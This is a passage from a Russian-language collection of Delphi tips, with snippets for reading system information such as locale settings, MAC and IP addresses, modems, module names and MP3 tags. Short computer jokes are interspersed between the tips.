if moRemovePath in Options then
S := ExtractFileName(S);
if moIncludeHandle in Options then
sl.AddObject(S, TObject(ma[I]))
else
sl.Add(S);
end;
end;
end;
Result := True;
finally
FreeLibrary(psapilib);
end;
end;
end.
|
Для вызова приведённой функции надо сделать следующее:
Добавить listbox на форму (Listbox1) Добавить кнопку на форму (Button1).
Обработчик события OnClick для кнопки будет выглядеть следующим образом:
procedure TForm1.Button1Click(Sender: TObject); begin GetLoadedDLLList(ListBox1.Items, [moIncludeHandle, moRemovePath]); end; |
Как получить информацию о локальных настройках системы.
| Юзер: - Поставь-ка новые драйверы видеокарточки. Windows: - А диск есть? Юзер: - Есть. Windows: - А что сказать надо? Юзер: - Ok". Windows: - Фиг тебе, а не Ok". Не могу найти необходимые файлы! Юзер: - Так вот же они! Windows: - Где?! Юзер: - Да на диске! Windows: - На каком? Юзер: - На B:\. Windows: - Нет такого диска. Юзер: - А почему под DОS"ом есть?! Windows: - Не мои проблемы. Юзер: - А как же мне драйверы поставить? Windows: - А зачем тебе драйверы? У тебя видеокарточки-то нет. Юзер: - Не может быть! Windows: - Точно тебе говорю. Юзер: - А аудио есть? Windows: - И аудио нет. Юзер: - А что есть? Windows: - Джойстик есть. Юзер: - Отродясь не было... Windows: - Мне виднее. Юзер: - Надо же, а я его покупать собрался. Windows: - Вот видишь! Что бы ты без меня делал? |
Delphi имеет функцию GetLocaleInfo, которая позволяет получать различную информацию о локальных настройках, таких как системный язык, символ валюты, количество десятичных знаков и т.д.
Далее приведена функция, которая возвращает значение в зависимости от параметра "flag":
function TForm1.GetLocaleInformation(Flag: Integer): string;
var
pcLCA: array [0..20] of Char;
begin
if GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, Flag, pcLCA, 19) then
pcLCA[0] := #0;
Result := pcLCA;
end;
|
Пример использования функции:
procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage(GetLocaleInformation(LOCALE_SENGLANGUAGE)); end; |
"Flag" может содержать следующее значение (если посмотреть в Windows.pas):
LOCALE_NOUSEROVERRIDE { do not use user overrides }
LOCALE_USE_CP_ACP { use the system ACP }
LOCALE_ILANGUAGE { language id }
LOCALE_SLANGUAGE { localized name of language }
LOCALE_SENGLANGUAGE { English name of language }
LOCALE_SABBREVLANGNAME { abbreviated language name }
LOCALE_SNATIVELANGNAME { native name of language }
LOCALE_ICOUNTRY { country code }
LOCALE_SCOUNTRY { localized name of country }
LOCALE_SENGCOUNTRY { English name of country }
LOCALE_SABBREVCTRYNAME { abbreviated country name }
LOCALE_SNATIVECTRYNAME { native name of country }
LOCALE_IDEFAULTLANGUAGE { default language id }
LOCALE_IDEFAULTCOUNTRY { default country code }
LOCALE_IDEFAULTCODEPAGE { default oem code page }
LOCALE_IDEFAULTANSICODEPAGE { default ansi code page }
LOCALE_IDEFAULTMACCODEPAGE { default mac code page }
LOCALE_SLIST { list item separator }
LOCALE_IMEASURE { 0 = metric, 1 = US }
LOCALE_SDECIMAL { decimal separator }
LOCALE_STHOUSAND { thousand separator }
LOCALE_SGROUPING { digit grouping }
LOCALE_IDIGITS { number of fractional digits }
LOCALE_ILZERO { leading zeros for decimal }
LOCALE_INEGNUMBER { negative number mode }
LOCALE_SNATIVEDIGITS { native ascii 0-9 }
LOCALE_SCURRENCY { local monetary symbol }
LOCALE_SINTLSYMBOL { intl monetary symbol }
LOCALE_SMONDECIMALSEP { monetary decimal separator }
LOCALE_SMONTHOUSANDSEP { monetary thousand separator }
LOCALE_SMONGROUPING { monetary grouping }
LOCALE_ICURRDIGITS { # local monetary digits }
LOCALE_IINTLCURRDIGITS { # intl monetary digits }
LOCALE_ICURRENCY { positive currency mode }
LOCALE_INEGCURR { negative currency mode }
LOCALE_SDATE { date separator }
LOCALE_STIME { time separator }
LOCALE_SSHORTDATE { short date format string }
LOCALE_SLONGDATE { long date format string }
LOCALE_STIMEFORMAT { time format string }
LOCALE_IDATE { short date format ordering }
LOCALE_ILDATE { long date format ordering }
LOCALE_ITIME { time format specifier }
LOCALE_ITIMEMARKPOSN { time marker position }
LOCALE_ICENTURY { century format specifier (short date) }
LOCALE_ITLZERO { leading zeros in time field }
LOCALE_IDAYLZERO { leading zeros in day field (short date) }
LOCALE_IMONLZERO { leading zeros in month field (short date) }
LOCALE_S1159 { AM designator }
LOCALE_S2359 { PM designator }
LOCALE_ICALENDARTYPE { type of calendar specifier }
LOCALE_IOPTIONALCALENDAR { additional calendar types specifier }
LOCALE_IFIRSTDAYOFWEEK { first day of week specifier }
LOCALE_IFIRSTWEEKOFYEAR { first week of year specifier }
LOCALE_SDAYNAME1 { long name for Monday }
LOCALE_SDAYNAME2 { long name for Tuesday }
LOCALE_SDAYNAME3 { long name for Wednesday }
LOCALE_SDAYNAME4 { long name for Thursday }
LOCALE_SDAYNAME5 { long name for Friday }
LOCALE_SDAYNAME6 { long name for Saturday }
LOCALE_SDAYNAME7 { long name for Sunday }
LOCALE_SABBREVDAYNAME1 { abbreviated name for Monday }
LOCALE_SABBREVDAYNAME2 { abbreviated name for Tuesday }
LOCALE_SABBREVDAYNAME3 { abbreviated name for Wednesday }
LOCALE_SABBREVDAYNAME4 { abbreviated name for Thursday }
LOCALE_SABBREVDAYNAME5 { abbreviated name for Friday }
LOCALE_SABBREVDAYNAME6 { abbreviated name for Saturday }
LOCALE_SABBREVDAYNAME7 { abbreviated name for Sunday }
LOCALE_SMONTHNAME1 { long name for January }
LOCALE_SMONTHNAME2 { long name for February }
LOCALE_SMONTHNAME3 { long name for March }
LOCALE_SMONTHNAME4 { long name for April }
LOCALE_SMONTHNAME5 { long name for May }
LOCALE_SMONTHNAME6 { long name for June }
LOCALE_SMONTHNAME7 { long name for July }
LOCALE_SMONTHNAME8 { long name for August }
LOCALE_SMONTHNAME9 { long name for September }
LOCALE_SMONTHNAME10 { long name for October }
LOCALE_SMONTHNAME11 { long name for November }
LOCALE_SMONTHNAME12 { long name for December }
LOCALE_SMONTHNAME13 { long name for 13th month (if exists) }
LOCALE_SABBREVMONTHNAME1 { abbreviated name for January }
LOCALE_SABBREVMONTHNAME2 { abbreviated name for February }
LOCALE_SABBREVMONTHNAME3 { abbreviated name for March }
LOCALE_SABBREVMONTHNAME4 { abbreviated name for April }
LOCALE_SABBREVMONTHNAME5 { abbreviated name for May }
LOCALE_SABBREVMONTHNAME6 { abbreviated name for June }
LOCALE_SABBREVMONTHNAME7 { abbreviated name for July }
LOCALE_SABBREVMONTHNAME8 { abbreviated name for August }
LOCALE_SABBREVMONTHNAME9 { abbreviated name for September }
LOCALE_SABBREVMONTHNAME10 { abbreviated name for October }
LOCALE_SABBREVMONTHNAME11 { abbreviated name for November }
LOCALE_SABBREVMONTHNAME12 { abbreviated name for December }
LOCALE_SABBREVMONTHNAME13 { abbreviated name for 13th month (if exists) }
LOCALE_SPOSITIVESIGN { positive sign }
LOCALE_SNEGATIVESIGN { negative sign }
LOCALE_IPOSSIGNPOSN { positive sign position }
LOCALE_INEGSIGNPOSN { negative sign position }
LOCALE_IPOSSYMPRECEDES { mon sym precedes pos amt }
LOCALE_IPOSSEPBYSPACE { mon sym sep by space from pos amt }
LOCALE_INEGSYMPRECEDES { mon sym precedes neg amt }
LOCALE_INEGSEPBYSPACE { mon sym sep by space from neg amt }
LOCALE_FONTSIGNATURE { font signature }
LOCALE_SISO639LANGNAME { ISO abbreviated language name }
LOCALE_SISO3166CTRYNAME { ISO abbreviated country name }
|
Получение локального имени компьютера.
Автор: Gua WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение локального имени компьютера
Зависимости: Winsock
Автор: Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright: Gua
Дата: 23 июля 2002 г.
***************************************************** }
function GetLocalName: string;
var
WSAData: TWSAData;
Namebuf: array[0..255] of char;
begin
WSAStartup($101, WSAData);
GetHostname(namebuf, sizeof(namebuf));
Result := NameBuf;
WSACleanup;
end;
Как узнать адрес LPT-порта.
Эта функция работает в Win95 и Win98.
function GetPortAddress(PortNo: integer): word; assembler; stdcall; asm push es push ebx mov ebx, PortNo shl ebx,1 mov ax,40h // Dos segment adress mov es,ax mov ax,ES:[ebx+6] // get port adress in 16Bit way :) pop ebx pop es end; |
Получить MAC адрес.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses NB30;
function GetMACAdress: string;
var
NCB: PNCB;
Adapter: PAdapterStatus;
URetCode: PChar;
RetCode: char;
I: integer;
Lenum: PlanaEnum;
_SystemID: string;
TMPSTR: string;
begin
Result := '';
_SystemID := '';
Getmem(NCB, SizeOf(TNCB));
Fillchar(NCB^, SizeOf(TNCB), 0);
Getmem(Lenum, SizeOf(TLanaEnum));
Fillchar(Lenum^, SizeOf(TLanaEnum), 0);
Getmem(Adapter, SizeOf(TAdapterStatus));
Fillchar(Adapter^, SizeOf(TAdapterStatus), 0);
Lenum.Length := chr(0);
NCB.ncb_command := chr(NCBENUM);
NCB.ncb_buffer := Pointer(Lenum);
NCB.ncb_length := SizeOf(Lenum);
RetCode := Netbios(NCB);
i := 0;
repeat
Fillchar(NCB^, SizeOf(TNCB), 0);
Ncb.ncb_command := chr(NCBRESET);
Ncb.ncb_lana_num := lenum.lana[I];
RetCode := Netbios(Ncb);
Fillchar(NCB^, SizeOf(TNCB), 0);
Ncb.ncb_command := chr(NCBASTAT);
Ncb.ncb_lana_num := lenum.lana[I];
// Must be 16
Ncb.ncb_callname := '* ';
Ncb.ncb_buffer := Pointer(Adapter);
Ncb.ncb_length := SizeOf(TAdapterStatus);
RetCode := Netbios(Ncb);
//---- calc _systemId from mac-address[2-5] XOR mac-address[1]...
if (RetCode = chr(0)) or (RetCode = chr(6)) then
begin
_SystemId := IntToHex(Ord(Adapter.adapter_address[0]), 2) + '-' +
IntToHex(Ord(Adapter.adapter_address[1]), 2) + '-' +
IntToHex(Ord(Adapter.adapter_address[2]), 2) + '-' +
IntToHex(Ord(Adapter.adapter_address[3]), 2) + '-' +
IntToHex(Ord(Adapter.adapter_address[4]), 2) + '-' +
IntToHex(Ord(Adapter.adapter_address[5]), 2);
end;
Inc(i);
until (I >= Ord(Lenum.Length)) or (_SystemID <> '00-00-00-00-00-00');
FreeMem(NCB);
FreeMem(Adapter);
FreeMem(Lenum);
GetMacAdress := _SystemID;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := GetMACAdress;
end;
//***************************************************
// Another Code from
// http://delphi.vitpc.com/treasury/lan.htm
//***************************************************
uses
NB30;
type
TAdapterStatus = record
adapter_address: array [0..5] of char;
filler: array [1..4 * SizeOf(char) + 19 * SizeOf(Word) + 3 * SizeOf(DWORD)] of
Byte;
end;
THostInfo = record
username: PWideChar;
logon_domain: PWideChar;
oth_domains: PWideChar;
logon_server: PWideChar;
end;{record}
function IsNetConnect: Boolean;
begin
if GetSystemMetrics(SM_NETWORK) and $01 = $01 then Result := True
else
Result := False;
end;{function}
function AdapterToString(Adapter: TAdapterStatus): string;
begin
with Adapter do Result :=
Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x',
[Integer(adapter_address[0]), Integer(adapter_address[1]),
Integer(adapter_address[2]), Integer(adapter_address[3]),
Integer(adapter_address[4]), Integer(adapter_address[5])]);
end;{function}
function GetMacAddresses(const Machine: string;
const Addresses: TStrings): Integer;
const
NCBNAMSZ = 16; // absolute length of a net name
MAX_LANA = 254; // lana's in range 0 to MAX_LANA inclusive
NRC_GOODRET = $00; // good return
NCBASTAT = $33; // NCB ADAPTER STATUS
NCBRESET = $32; // NCB RESET
NCBENUM = $37; // NCB ENUMERATE LANA NUMBERS
type
PNCB = ^TNCB;
TNCBPostProc = procedure(P: PNCB);
stdcall;
TNCB = record
ncb_command: Byte;
ncb_retcode: Byte;
ncb_lsn: Byte;
ncb_num: Byte;
ncb_buffer: PChar;
ncb_length: Word;
ncb_callname: array [0..NCBNAMSZ - 1] of char;
ncb_name: array [0..NCBNAMSZ - 1] of char;
ncb_rto: Byte;
ncb_sto: Byte;
ncb_post: TNCBPostProc;
ncb_lana_num: Byte;
ncb_cmd_cplt: Byte;
ncb_reserve: array [0..9] of char;
ncb_event: THandle;
end;
PLanaEnum = ^TLanaEnum;
TLanaEnum = record
Length: Byte;
lana: array [0..MAX_LANA] of Byte;
end;
ASTAT = record
adapt: TAdapterStatus;
namebuf: array [0..29] of TNameBuffer;
end;
var
NCB: TNCB;
Enum: TLanaEnum;
I: integer;
Adapter: ASTAT;
MachineName: string;
begin
Result := -1;
Addresses.Clear;
MachineName := UpperCase(Machine);
if MachineName = '' then MachineName := '*';
FillChar(NCB, SizeOf(NCB), #0);
NCB.ncb_command := NCBENUM;
NCB.ncb_buffer := Pointer(@Enum);
NCB.ncb_length := SizeOf(Enum);
if Word(NetBios(@NCB)) = NRC_GOODRET then
begin
Result := Enum.Length;
for I := 0 to Ord(Enum.Length) - 1 do
begin
FillChar(NCB, SizeOf(TNCB), #0);
NCB.ncb_command := NCBRESET;
NCB.ncb_lana_num := Enum.lana[I];
if Word(NetBios(@NCB)) = NRC_GOODRET then
begin
FillChar(NCB, SizeOf(TNCB), #0);
NCB.ncb_command := NCBASTAT;
NCB.ncb_lana_num := Enum.lana[i];
StrLCopy(NCB.ncb_callname, PChar(MachineName), NCBNAMSZ);
StrPCopy(@NCB.ncb_callname[Length(MachineName)],
StringOfChar(' ', NCBNAMSZ - Length(MachineName)));
NCB.ncb_buffer := PChar(@Adapter);
NCB.ncb_length := SizeOf(Adapter);
if Word(NetBios(@NCB)) = NRC_GOODRET then
Addresses.Add(AdapterToString(Adapter.adapt));
end;
end;
end;
end;{function}
Получение значения Memo-поля с помощью Query.
Получение Memo-значения в область Edit без использования Memo-поля. Разместите на вашей форме объект Query (Query1) Разместите на вашей форме объект Edit (Edit1) Разместите на вашей форме объект Button (Button1) Дважды щелкните на Query и добавьте поле Memo. (Biolife.db использует текстовое поле) Установите свойство Query1 SQL следующим образом: Select * from Biolife Установите свойство Query1 Active в True Добавьте следующий код в обработчик события кнопки Button1 OnClick:
procedure TForm1.Button1Click(Sender: TObject);
var
bs: TBlobStream;
p: array[0..50] of char;
begin
FillChar(p, SizeOf(p), #0);
bs := TBlobStream.Create(Query1Notes, bmRead);
try
bs.Read(p, 50);
finally
bs.Free;
end;
Edit1.Text := StrPas(p);
end;
|
Получить информацию о методах.
Автор: Xavier Pacheco
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, DBClient, MidasCon, MConnect;
type
TMainForm = class(TForm)
lbSampMethods: TListBox;
lbMethodInfo: TMemo;
lblBasicMethodInfo: TLabel;
procedure FormCreate(Sender: TObject);
procedure lbSampMethodsClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
uses TypInfo, DBTables, Provider;
{$R *.DFM}
type
// It is necessary to redefine this record as it is commented out in
// typinfo.pas.
PParamRecord = ^TParamRecord;
TParamRecord = record
Flags: TParamFlags;
ParamName: ShortString;
TypeName: ShortString;
end;
procedure GetBaseMethodInfo(ATypeInfo: PTypeInfo; AStrings: TStrings);
{ This method obtains some basic RTTI data from the TTypeInfo and adds that
information to the AStrings parameter. }
var
MethodTypeData: PTypeData;
EnumName: string;
begin
MethodTypeData := GetTypeData(ATypeInfo);
with AStrings do
begin
Add(Format('Class Name: %s', [ATypeInfo^.Name]));
EnumName := GetEnumName(TypeInfo(TTypeKind), Integer(ATypeInfo^.Kind));
Add(Format('Kind: %s', [EnumName]));
Add(Format('Num Parameters: %d', [MethodTypeData.ParamCount]));
end;
end;
procedure GetMethodDefinition(ATypeInfo: PTypeInfo; AStrings: TStrings);
{ This method retrieves the property info on a method pointer. We use this
information to recunstruct the method definition. }
var
MethodTypeData: PTypeData;
MethodDefine: string;
ParamRecord: PParamRecord;
TypeStr: ^ShortString;
ReturnStr: ^ShortString;
i: integer;
begin
MethodTypeData := GetTypeData(ATypeInfo);
// Determine the type of method
case MethodTypeData.MethodKind of
mkProcedure: MethodDefine := 'procedure ';
mkFunction: MethodDefine := 'function ';
mkConstructor: MethodDefine := 'constructor ';
mkDestructor: MethodDefine := 'destructor ';
mkClassProcedure: MethodDefine := 'class procedure ';
mkClassFunction: MethodDefine := 'class function ';
end;
// point to the first parameter
ParamRecord := @MethodTypeData.ParamList;
i := 1; // first parameter
// loop through the method's parameters and add them to the string list as
// they would be normally defined.
while i <= MethodTypeData.ParamCount do
begin
if i = 1 then
MethodDefine := MethodDefine + '(';
if pfVar in ParamRecord.Flags then
MethodDefine := MethodDefine + ('var ');
if pfconst in ParamRecord.Flags then
MethodDefine := MethodDefine + ('const ');
if pfArray in ParamRecord.Flags then
MethodDefine := MethodDefine + ('array of ');
// we won't do anything for the pfAddress but know that the Self parameter
// gets passed with this flag set.
{
if pfAddress in ParamRecord.Flags then
MethodDefine := MethodDefine+('*address* ');
}
if pfout in ParamRecord.Flags then
MethodDefine := MethodDefine + ('out ');
// Use pointer arithmetic to get the type string for the parameter.
TypeStr := Pointer(Integer(@ParamRecord^.ParamName) +
Length(ParamRecord^.ParamName) + 1);
MethodDefine := Format('%s%s: %s', [MethodDefine, ParamRecord^.ParamName,
TypeStr^]);
inc(i); // Increment the counter.
// Go the next parameter. Notice that use of pointer arithmetic to
// get to the appropriate location of the next parameter.
ParamRecord := PParamRecord(Integer(ParamRecord) + SizeOf(TParamFlags) +
(Length(ParamRecord^.ParamName) + 1) + (Length(TypeStr^) + 1));
// if there are still parameters then setup
if i <= MethodTypeData.ParamCount then
begin
MethodDefine := MethodDefine + '; ';
end
else
MethodDefine := MethodDefine + ')';
end;
// If the method type is a function, it has a return value. This is also
// placed in the method definition string. The return value will be at the
// location following the last parameter.
if MethodTypeData.MethodKind = mkFunction then
begin
ReturnStr := Pointer(ParamRecord);
MethodDefine := Format('%s: %s;', [MethodDefine, ReturnStr^])
end
else
MethodDefine := MethodDefine + ';';
// finally, add the string to the listbox.
with AStrings do
begin
Add(MethodDefine)
end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
{ Add some method types to the list box. Also, store the pointer to the RTTI
data in listbox's Objects array }
with lbSampMethods.Items do
begin
AddObject('TNotifyEvent', TypeInfo(TNotifyEvent));
AddObject('TMouseEvent', TypeInfo(TMouseEvent));
AddObject('TBDECallBackEvent', TypeInfo(TBDECallBackEvent));
AddObject('TDataRequestEvent', TypeInfo(TDataRequestEvent));
AddObject('TGetModuleProc', TypeInfo(TGetModuleProc));
AddObject('TReaderError', TypeInfo(TReaderError));
end;
end;
procedure TMainForm.lbSampMethodsClick(Sender: TObject);
begin
lbMethodInfo.Lines.Clear;
with lbSampMethods do
begin
GetBaseMethodInfo(PTypeInfo(Items.Objects[ItemIndex]), lbMethodInfo.Lines);
GetMethodDefinition(PTypeInfo(Items.Objects[ItemIndex]),
lbMethodInfo.Lines);
end;
end;
end.
Смешиваем два цвета.
Автор: Vit WEB-сайт: http://forum.vingrad.ruСамый простой способ смешать два цвета c1 и c2, это вычислить средние значения rgb-значений. Данный пример не отличается особой быстротой, поэтому если Вам нужно быстро смешивать цвета, то прийдётся пошевелить мозгами...
function GetMixColor(c1, c2: TColor): TColor;
begin
// вычисляем средние значения Красного, Синего и Зелёного значений
// цветов c1 и c2:
Result := RGB(
(GetRValue(c1) + GetRValue(c2)) div 2,
(GetGValue(c1) + GetGValue(c2)) div 2,
(GetBValue(c1) + GetBValue(c2)) div 2
);
end;
Получить список установленных модемов в Win95-98.
| У диалапера спрашивают: - А что ты тестируешь, качество связи с новым провайдером? - Нет, свои нервы... сколько они еще смогут выдержать этот коннект!!! |
unit PortInfo;
interface
uses
Windows, SysUtils, Classes, Registry;
function EnumModems: TStrings;
implementation
function EnumModems : TStrings;
var
R : TRegistry;
s : ShortString;
N : TStringList;
i : integer;
j : integer;
begin
Result:= TStringList.Create;
R:= TRegistry.Create;
try
with R do
begin
RootKey:= HKEY_LOCAL_MACHINE;
if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then
if HasSubKeys then
begin
N:= TStringList.Create;
try
GetKeyNames(N);
for i:=0 to N.Count - 1 do
begin
closekey; { + }
openkey('\System\CurrentControlSet\Services\Class\Modem', false);
OpenKey(N[i], False);
s:= ReadString('AttachedTo');
for j:=1 to 4 do
if Pos(Chr(j+Ord('0')), s) > 0 then
Break;
Result.AddObject(ReadString('DriverDesc'),TObject(j));
CloseKey;
end;
finally
N.Free;
end;
end;
end;
finally
R.Free;
end;
end;
end.
|
Получить список установленных модемов в Win95-98 2.
function EnumModems: TStrings;
var
R: TRegistry;
s: ShortString;
N: TStringList;
i, j: integer;
begin
Result := TStringList.Create;
R := TRegistry.Create;
try
with R do
begin
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then
if HasSubKeys then
begin
N := TStringList.Create;
try
GetKeyNames(N);
for i := 0 to N.Count - 1 do
begin
CloseKey;
OpenKey(N[i], False);
s := ReadString('AttachedTo');
for j := 1 to 4 do
if Pos(Chr(j + Ord('0')), s) > 0 then
Break;
Result.AddObject(ReadString('DriverDesc'), TObject(j));
CloseKey;
end;
finally
N.Free;
end;
end;
end;
finally
R.Free;
end;
end;
|
Как определить состояние модема под Win32.
| Пришел Новый Русский в компьютерный магазин и спрашивает: - Братан, кто у вас тут самый крутой? Процессор? - Нет. - А может это... Материнская плата?? - Нет. - Хммм... Блин... А кто же??? - Модем. - Он наверно такой умный??? - Да нет. - А чеее тогда? - У него такие связи! |
procedure TForm1.Button1Click(Sender: TObject);
var
CommPort : string;
hCommFile : THandle;
ModemStat : DWord;
begin
CommPort := 'COM2';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort), GENERIC_READ, 0, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if hCommFile = INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;
{Get the Modem Status}
if GetCommModemStatus(hCommFile, ModemStat) <> false then
begin
if ModemStat and MS_CTS_ON <> 0 then
ShowMessage('The CTS (clear-to-send) is on.');
if ModemStat and MS_DSR_ON <> 0 then
ShowMessage('The DSR (data-set-ready) is on.');
if ModemStat and MS_RING_ON <> 0 then
ShowMessage('The ring indicator is on.');
if ModemStat and MS_RLSD_ON <> 0 then
ShowMessage('The RLSD (receive-line-signal-detect) is on.');
end;
{Close the comm port}
CloseHandle(hCommFile);
end;
|
Получение имени модуля.
Валентин Озеров
procedure TForm1.Button1Click(Sender: TObject);
var
szFileName : array[0..49] of char;
szModuleName : array[0..19] of char;
iSize : integer;
begin
StrPCopy(szModuleName, 'NameOfModule');
iSize := GetModuleFileName(GetModuleHandle(szModuleName),szFileName,
SizeOf(szFileName));
if iSize > 0 then
ShowMessage('Имя модуля с полным путем: ' + StrPas(szFileName))
else
ShowMessage('Имя модуля не встречено');
end;
|
Андрей Иванов.
procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage(ParamStr(0)); end; |
Степанова Павла.
// Включить в Uses SysUtils
procedure TMainForm.Button2Click(Sender: TObject);
var
AppDirectory, AppPathName: string;
begin
AppPathName := Application.ExeName;
AppDirectory := ExtractFilePath(AppPathName);
messageDlg('Имя программы '+ AppPathName+#13+
'Имя каталога программы '+ AppDirectory
,mtInformation,[mbOK],0);
end;
|
Получение MP3 тэга.
Автор: Victor WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение MP3 тэга
Функция получает ID3v1 тэг из указанного mp3-файла.
Зависимости: uses System :)
Автор: Victor, zazoo@ukr.net, ICQ:149676405, Киев
Copyright: Собственное написание
Дата: 06 мая 2002 г.
***************************************************** }
type
TMP3Tag = record
FileName, Title, Artist, Album, Year, Comment: string;
end;
function GetMP3Tag(fn: string): TMP3Tag;
var
tag: array[0..127] of char;
f: file;
i: byte;
s: string;
procedure DelSpace(var s: string);
begin // Удаляет пробелы и символы
// #0 в конце строки.
if length(s) = 0 then
exit;
while s[length(s)] in [' ', #0] do
begin
delete(s, length(s), 1);
if s = '' then
break;
end;
end;
begin
result.FileName := fn;
result.Title := '';
result.Artist := '';
result.Album := '';
result.Year := '';
result.Comment := '';
AssignFile(F, fn); // Открываем файл
{$I-} // с проверкой его существования :)
Reset(F, 1);
Seek(F, FileSize(F) - 128); // Читаем тэг - последние 128 байт
BlockRead(f, tag, 128);
CloseFile(F);
{$I+}
if IOResult <> 0 then
begin
exit;
end;
s := '';
for i := 0 to 127 do
s := s + tag[i];
if copy(s, 1, 3) = 'TAG' then // В файле есть тэг - разбираем его
begin
result.Title := copy(s, 4, 30);
DelSpace(result.title);
result.Artist := copy(s, 34, 30);
DelSpace(result.artist);
result.Album := copy(s, 64, 30);
DelSpace(result.album);
result.Year := copy(s, 94, 4);
DelSpace(result.year);
result.Comment := copy(s, 98, 30);
DelSpace(result.comment);
end;
end;
Пример использования:
var
Tag: TMP3Tag;
begin
if OpenDialog1.Execute then
Tag := GetMP3Tag(OpenDialog1.FileName);
end;
Получить язык MS Word.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Question:
// How can I read the default language of installed MS Word application?
// Answer:
// You may initialize Word.Application instance and read a CountryID:
var
word: OLEVariant;
begin
word := CreateOLEObject('Word.Application');
CountryID := word.System.Country;
word.Quit;
word := UnAssigned;
end;
// After that check this CountryID with next values:
wdUS = $00000001;
wdCanada = $00000002;
wdLatinAmerica = $00000003;
wdNetherlands = $0000001F;
wdFrance = $00000021;
wdSpain = $00000022;
wdItaly = $00000027;
wdUK = $0000002C;
wdDenmark = $0000002D;
wdSweden = $0000002E;
wdNorway = $0000002F;
wdGermany = $00000031;
wdPeru = $00000033;
wdMexico = $00000034;
wdArgentina = $00000036;
wdBrazil = $00000037;
wdChile = $00000038;
wdVenezuela = $0000003A;
wdJapan = $00000051;
wdTaiwan = $00000376;
wdChina = $00000056;
wdKorea = $00000052;
wdFinland = $00000166;
wdIceland = $00000162;
Определение своего IP адреса.
| Из воспоминай системного администратора. "Все что я помню об этой девушке, это ее IP-адрес..." |
function my_ip_address: longint;
const
bufsize = 255;
var
buf: pointer;
RemoteHost: PHostEnt; (* Не освобождайте это! *)
begin
buf := nil;
try
getmem(buf, bufsize);
winsock.gethostname(buf, bufsize); (* это может работать и без сети *)
RemoteHost := Winsock.GetHostByName(buf);
if RemoteHost = nil then
my_ip_address := winsock.htonl($07000001) (* 127.0.0.1 *)
else
my_ip_address := longint(pointer(RemoteHost^.h_addr_list^)^);
finally
if buf <> nil then
freemem(buf, bufsize);
end;
result := winsock.ntohl(result);
end;
|
Единственное, что вам необходимо, это наличие winsock.dcu/winsock.pas, так как это не включается в поставку Delphi 1.; необходимый мне код я взял из tcpip component pack (просто вырезал его оттуда).
Извлечь адреса сетевых карт.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{for NT4 and Windows 2000, and you must have Admin privileges}
{fьг NT4 und Windows 2000, und Adminrechte erforderlich}
uses
Registry;
const
nString = 'SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NetworkCards';
nEthernet = 'Ethernet';
nEtherjet = 'Etherjet'; {if Hardware IBM PL300 with Chip 10/100}
nTcpIp1 = 'SYSTEM\CurrentControlSet\Services\';
nTcpIp2 = '\Parameters\Tcpip';
var
reg: TRegistry;
buffer1, buffer2, buffer3: array [1..32] of Char;
i: Integer;
ipaddress, subnetmask, DefaultGateway: string;
Adapter, Adapter_Key: string;
stringlist: TStrings;
function search_adapter_key: string;
var
astring, description, st: string;
nPos: integer;
ServiceName: string;
begin
reg := TRegistry.Create;
stringlist := TStringList.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey(nString, False);
reg.GetKeyNames(stringlist); {search all subkeys
such alle иntегsсh1ьssе1}
reg.CloseKey;
for i := 0 to (stringlist.Count - 1) do
begin
st := stringlist[i];
aString := nString + '\' + st;
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey(aString, False);
description := reg.ReadString('Description');
nPos:= AnsiPos(nEthernet, description); {search description for string Ethernet
Beschreibung nach dem string Ethernet absuchen}
if nPos > 0 then
begin
ServiceName := reg.ReadString('ServiceName');
Adapter_Key := nTcpIp1 + ServiceName + nTcpIp2;
end;
nPos := AnsiPos(nEtherjet, description); {search description for string 'Etherjet
if IBM PL300 with MotherboardChip}
if nPos > 0 then
begin
ServiceName := reg.ReadString('ServiceName');
Adapter_Key := nTcpIp1 + ServiceName + nTcpIp2;
end;
reg.CloseKey;
end;
Result := Adapter_Key;
end;
procedure search_for_adapter_NT;
var
BufSize: Integer; {Bufsize requested but not used
Bufsize erforderlich aber nicht benutzt}
begin
adapter := search_adapter_key;
if adapter <> '' then
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(adapter, False);
Reg.ReadBinaryData('IpAddress', buffer1, BufSize);
finally
Reg.CloseKey;
Reg.Free;
end;
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(adapter, False);
Reg.ReadBinaryData('SubnetMask', buffer2, BufSize);
finally
Reg.CloseKey;
Reg.Free;
end;
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(adapter, False);
Reg.ReadBinaryData('DefaultGateway', buffer3, BufSize);
finally
Reg.CloseKey;
Reg.Free;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Memo1.Clear;
search_for_adapter_NT;
Memo1.Lines.Add(buffer1);
Memo1.Lines.Add(buffer2);
Memo1.Lines.Add(buffer3);
end;
Получить список доменов.
